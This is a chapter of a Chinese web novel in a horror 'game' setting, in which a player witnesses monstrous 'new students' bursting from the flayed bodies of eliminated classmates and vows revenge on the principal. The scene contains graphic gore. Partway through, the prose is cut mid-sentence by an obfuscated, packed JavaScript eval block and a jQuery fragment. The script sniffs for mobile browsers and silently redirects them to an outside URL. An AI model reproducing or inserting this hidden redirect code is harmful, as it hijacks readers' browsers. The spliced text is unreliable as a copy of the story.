“你不会觉得自己藏得很好吧?”贺铮说着,起身合好窗扇,低头看他。
付叙昭改了容貌,还利用纸灵修改她对名字的认知,好像已经万无一失了,其实很多细枝末节都能让她察觉到不对劲。
例如:她晚上摔伤后,隔日早晨就恢复得差不多的手臂;第一天跟踪她的那天中午,被她摸出来的红绳;吕姿文虚脱逃回宿舍时,他自以为很隐秘地出手治愈,其实被旁边站着的她看得一清二楚……
付叙昭飞快地仰头看了她一眼,又立刻垂下头,讷讷道:“我怕给你添麻烦。”
贺铮毫不客气地说:“所以你现在没给我添麻烦吗?”
付叙昭睫羽颤动了两下,低声说:“抱歉。”
贺铮长叹一口气,在他面前盘腿坐下来,“我不让你跟进来,说你不会找线索,会给我拖后腿这些都不是最主要的。最重要的是,你根本没意识到,很多情况下,同为玩家的人类才是最危险的。”
“黄三宏有防备,但还是被我弄死了。”她看向付叙昭被鲜血浸透的衣衫,语气放轻下来,“而李横舟之前一直表现得很友好,你根本不会防备她,所以今晚就这样被她背刺了。我也有错,明知道她不对劲,为了看她露出马脚,还是让她和你一起单独行动了,我实在没想到她一出手就是奔着要你的命来的。”
付叙昭摇摇头,手放在膝上,手指不停地绞来绞去,“是我不好,不听你的话,自作聪明地跟进来,愚蠢又自负。”
贺铮静了静,忽然道:“……如果以后你要成为神仙,站在云端俯瞰众生的话,这样什么都不懂其实很好。什么人情世故啊,勾心斗角啊,有什么好学的。”
她用手背揩了揩脸上的灰,摊手在身前,低头看着自己满是茧和灰尘的掌心,“但你现在身处在‘游戏’里,跟你打交道的大部分都是居心叵测的人。我知道你想快点学习游戏里的各种事情,所以才让你先从简单的副本过起,一点点慢慢来,同行玩家中新手可能会多一些,这种事情发生的概率会小一些——当然也会有林江兴那样的意外,但最起码在低级本我有保护你的自信。”
“我觉得你会成为一个好神仙,所以不想让你死在这里。”贺铮随意地把手掌的灰抹在衣摆,认真地看着付叙昭的眼睛,“让你了解这些东西是想让你能保护好自己,能在这里活下去,不是鼓励你去学。”
付叙昭没什么明显的表情,双眼却怔怔地看着她,心里莫名发堵,有一种想说什么却不知道怎么说的感觉。
听贺铮说的这些话,他感觉好难过。
却不知道自己在难过什么。
贺铮对周围人的情绪很敏锐,马上就感觉到了付叙昭情绪低落。她以为是对方陷入了内疚,于是挪着屁股,又坐到付叙昭身边,语气轻巧地转移话题:“诶,你的法力不是在副本里被压制了吗?这易容术怎么能维持得这么久?”
“不是易容术。”付叙昭轻声说,“是我本来的容貌。”
“啊?”贺铮扭头看他。
付叙昭继续说:“我先前同你说过,我是在战乱中被师尊救下带回山上的,容貌早在战火中就被烧毁了。是后来修为有所成后,用法力重塑的。这次为避免被你识破,才剥去了之前重塑的皮相。结果还是被你认出来了。”
他笑了笑,“原来,容貌是辨识一个人,最不重要的东西。”
贺铮着他,眼底眸光潋滟,双唇微启,好像要说些什么。
但就在这时,门外忽然传来了一些微弱的动静。
贺铮登时警觉起来,霍然起身,伸手将也想站起的付叙昭按了回去,“在这儿等我。”
付叙昭试图抓住她的衣角,却落了空,只能倚靠在墙边,看着她离开的背影。
他们现在身处在一个类似储物间的地方,房间里堆满了各种杂物,房门与露台的窗口相对。
贺铮在门前蹲下-身,右手紧握住门把手,缓缓按下,无声无息地将房门拉开了一条细缝,透过缝隙观察着门外的情况。
由于视野受限,只能看得出来,门外似乎是一条悬空的走廊,透过走廊的扶手间隙,能看见礼堂悬下来的巨大吊灯,以及一部分二楼的阶梯座位。
她又把门缝又拉大了一些,悄然探出头去,警惕地上下左右左右观察了一番,在确定这一层没有任何其他生物后,蹲着身子慢慢挪出了房间,并在身后合上了房门,隔开了付叙昭望着她背影的视线。
走出房间才看出来,他们所在的房间,位于二层观众席的右边角落的走廊上,走廊的扶手是镂空的木制栏杆。
而那细微的动静,是从一楼传上来的。
贺铮手掌和双膝无声着地,手小心翼翼地向前挪动,上半身随着两手前进渐渐俯下来,终于探到了走廊的边沿,可以窥视到一楼的情形。她微微仰头,从二楼往下看——
只一眼,就看到了令她此生难忘的景象。
礼堂内部空间宽阔,放眼看去,光一楼的观众席就能容纳下大半个年级的人。
此时近一半的座位上密密麻麻地坐了许多学生,它们腿上都放着或厚或薄的资料册。
它们一个个像被剥了皮的水果,果汁是鲜红色的,从头顶开剖,皮向两边剥脱,露出内里红白相间的筋肉,胸口处在不断鼓动,有什么活物在里面不安分地扒拉着,即将破“壳”而出。
接连几声“噗嗤”轻响,有几个成功了,在血肉躯壳撕开了一条口子,好几只晃动的手从裂口中探出,那扭摆蠕动的样子,像极了寄生虫。
那些手一把抓住裂口边缘,向各个方向猛地一扯,裂口涌出汩汩鲜血,几个纠缠在一起的人形物从里面挤了出来,它们赤-裸粉嫩,就像初生的无毛老鼠,搅成一团倒落在地,发出刺耳的泣鸣,似婴儿啼哭。
“嗒嗒塔。”
随着它们的降生,一阵脚步声响起,是本来站在舞台上自上而下扫视全场的老师们,四散着走向那些蜕皮而出的东西。
被蜕下的皮像烂泥一样软瘫在座位上,原来搭在腿上的册子浸泡在血液里。老师们来到这些座位前,捡起那些册子,从中抽去大部分拿在自己手里,剩下的均
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15742423|170453||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
分给了那些在地上蠕动的东西,把几张单薄的纸张塞入它们的手中。
得到了纸的东西也不再哭号,自觉地分开,站了起来,变成了“人”样。
它们剥去身边“学生”的衣服,穿在自己身上,如果能洗净身体,俨然和普通“学生”没什么两样了。
这些“新生”接二连三降生,老师们也有条不紊地收资料、分发资料。
看着眼前上演的画面,贺铮感觉胃里翻涌,消化后的食靡几乎要倒涌上喉头。
她捂住嘴,强忍住呕出来的冲动。
原来这就是新生的由来。
它们都是在淘汰学生的身体里诞生的。
它们高一第一课之前就拥有的资料,来自于它们的“母亲”。而这些资料,在诞生时被老师拿去了一部分,剩下的又是和其它的“姐妹兄弟”们评分,所以比起参与过学习的学生少了许多。
“母亲”在淘汰前获得的资料越多,它们的初始资料也越多。
真不敢想,纪霖瞻那样厚度的资料,他的“母亲”给他攒下了多少。
可为什么,能攒下这么厚资料的学生,也会被淘汰呢?
和年级主任同级的那个人,究竟是纪霖瞻本人,还是他的“母亲”?
贺铮这边思考的同时,一楼的“接生”和“资料收缴分发”还在进行着,整个过程持续了大概快二十分钟,将近一半的新生诞生成功,而另一半的新生在挣扎了一阵后,没了动静,肉膜的鼓动渐渐平息了下去,像是胎死在腹中。
“今天就这些了?”一个老师拿着收缴上来的一大沓资料,环视了一圈此时血肉横陈的礼堂,新生们分别跟在为它们接生的老师身后,表情呆滞。
“嗯。收获怎么样?”另一个老师道。
“和之前差不多吧。一半上交给主任,一半咱们平分了。”
“行。分完以后,就老样子,留几个人把这些垃圾处理了,其他人带各自的新生回去存起来,等下个学年上高一。”
“……”
见一切已到尾声,贺铮悄无声息地退回到了房中,将房门重新合紧,转身背靠在门上。
等候在房里的付叙昭因为伤势较重,依旧坐在原处微动,见贺铮回房,抬眼看向她,却发现对方的情绪有些不对劲。
他上一次看到贺铮这样的表情,是在他第一个副本里,贺铮杀李老四的时候。
那时贺铮也是这样,眼底布满血丝,充斥着迫切恨憎的杀意。
贺铮感觉之前作呕的感觉,统统变成了灼烧她理智的怒火,烫得她想抓住谁,然后把手里的刀一下又一下地捅下去,破开喉咙,剖开胸腹,把里面的五脏六腑都搅个稀巴烂。
去死。
统统去死。
当她感觉到双肩被谁握住时,应激得下意识想拔刀,却闻到了一股熟悉的气息,像覆雪梅花那样的冷香,让她瞬间清醒过来。
她抬起下颌,望着对方那双好看的眼睛,深吸了一口气,一字一顿道:“杀了朱校长。”
“杀了那头猪。”